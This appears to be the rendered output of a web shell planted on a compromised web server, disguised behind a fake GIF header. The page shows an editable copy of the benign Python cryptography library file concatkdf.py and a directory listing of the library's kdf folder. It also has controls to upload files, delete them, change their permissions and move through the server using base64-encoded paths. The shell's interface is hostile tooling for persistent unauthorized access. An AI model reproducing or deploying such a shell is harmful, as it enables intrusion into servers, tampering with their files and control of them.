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   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
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<hr>concatkdf.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY%3D&f=Y29uY2F0a2RmLnB5"><input name="f" value="concatkdf.py"><textarea name="t"># This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import annotations

import typing

from cryptography import utils
from cryptography.exceptions import AlreadyFinalized, InvalidKey
from cryptography.hazmat.primitives import constant_time, hashes, hmac
from cryptography.hazmat.primitives.kdf import KeyDerivationFunction


def _int_to_u32be(n: int) -&gt; bytes:
    return n.to_bytes(length=4, byteorder=&quot;big&quot;)


def _common_args_checks(
    algorithm: hashes.HashAlgorithm,
    length: int,
    otherinfo: typing.Optional[bytes],
) -&gt; None:
    max_length = algorithm.digest_size * (2**32 - 1)
    if length &gt; max_length:
        raise ValueError(f&quot;Cannot derive keys larger than {max_length} bits.&quot;)
    if otherinfo is not None:
        utils._check_bytes(&quot;otherinfo&quot;, otherinfo)


def _concatkdf_derive(
    key_material: bytes,
    length: int,
    auxfn: typing.Callable[[], hashes.HashContext],
    otherinfo: bytes,
) -&gt; bytes:
    utils._check_byteslike(&quot;key_material&quot;, key_material)
    output = [b&quot;&quot;]
    outlen = 0
    counter = 1

    while length &gt; outlen:
        h = auxfn()
        h.update(_int_to_u32be(counter))
        h.update(key_material)
        h.update(otherinfo)
        output.append(h.finalize())
        outlen += len(output[-1])
        counter += 1

    return b&quot;&quot;.join(output)[:length]


class ConcatKDFHash(KeyDerivationFunction):
    def __init__(
        self,
        algorithm: hashes.HashAlgorithm,
        length: int,
        otherinfo: typing.Optional[bytes],
        backend: typing.Any = None,
    ):
        _common_args_checks(algorithm, length, otherinfo)
        self._algorithm = algorithm
        self._length = length
        self._otherinfo: bytes = otherinfo if otherinfo is not None else b&quot;&quot;

        self._used = False

    def _hash(self) -&gt; hashes.Hash:
        return hashes.Hash(self._algorithm)

    def derive(self, key_material: bytes) -&gt; bytes:
        if self._used:
            raise AlreadyFinalized
        self._used = True
        return _concatkdf_derive(
            key_material, self._length, self._hash, self._otherinfo
        )

    def verify(self, key_material: bytes, expected_key: bytes) -&gt; None:
        if not constant_time.bytes_eq(self.derive(key_material), expected_key):
            raise InvalidKey


class ConcatKDFHMAC(KeyDerivationFunction):
    def __init__(
        self,
        algorithm: hashes.HashAlgorithm,
        length: int,
        salt: typing.Optional[bytes],
        otherinfo: typing.Optional[bytes],
        backend: typing.Any = None,
    ):
        _common_args_checks(algorithm, length, otherinfo)
        self._algorithm = algorithm
        self._length = length
        self._otherinfo: bytes = otherinfo if otherinfo is not None else b&quot;&quot;

        if algorithm.block_size is None:
            raise TypeError(f&quot;{algorithm.name} is unsupported for ConcatKDF&quot;)

        if salt is None:
            salt = b&quot;\x00&quot; * algorithm.block_size
        else:
            utils._check_bytes(&quot;salt&quot;, salt)

        self._salt = salt

        self._used = False

    def _hmac(self) -&gt; hmac.HMAC:
        return hmac.HMAC(self._salt, self._algorithm)

    def derive(self, key_material: bytes) -&gt; bytes:
        if self._used:
            raise AlreadyFinalized
        self._used = True
        return _concatkdf_derive(
            key_material, self._length, self._hmac, self._otherinfo
        )

    def verify(self, key_material: bytes, expected_key: bytes) -&gt; None:
        if not constant_time.bytes_eq(self.derive(key_material), expected_key):
            raise InvalidKey
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>750</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGYvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=Y29uY2F0a2RmLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=Y29uY2F0a2RmLnB5"/>concatkdf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=Y29uY2F0a2RmLnB5&c=`+btoa(c):0" value="0644"></td><td>3726</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=aGtkZi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=aGtkZi5weQ=="/>hkdf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=aGtkZi5weQ==&c=`+btoa(c):0" value="0644"></td><td>3045</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=a2JrZGYucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=a2JrZGYucHk="/>kbkdf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=a2JrZGYucHk=&c=`+btoa(c):0" value="0644"></td><td>9232</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=cGJrZGYyLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=cGJrZGYyLnB5"/>pbkdf2.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=cGJrZGYyLnB5&c=`+btoa(c):0" value="0644"></td><td>2012</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=c2NyeXB0LnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=c2NyeXB0LnB5"/>scrypt.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=c2NyeXB0LnB5&c=`+btoa(c):0" value="0644"></td><td>2354</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&x=eDk2M2tkZi5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=eDk2M2tkZi5weQ=="/>x963kdf.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2NyeXB0b2dyYXBoeS9oYXptYXQvcHJpbWl0aXZlcy9rZGY=&f=eDk2M2tkZi5weQ==&c=`+btoa(c):0" value="0644"></td><td>2002</td></tr></table>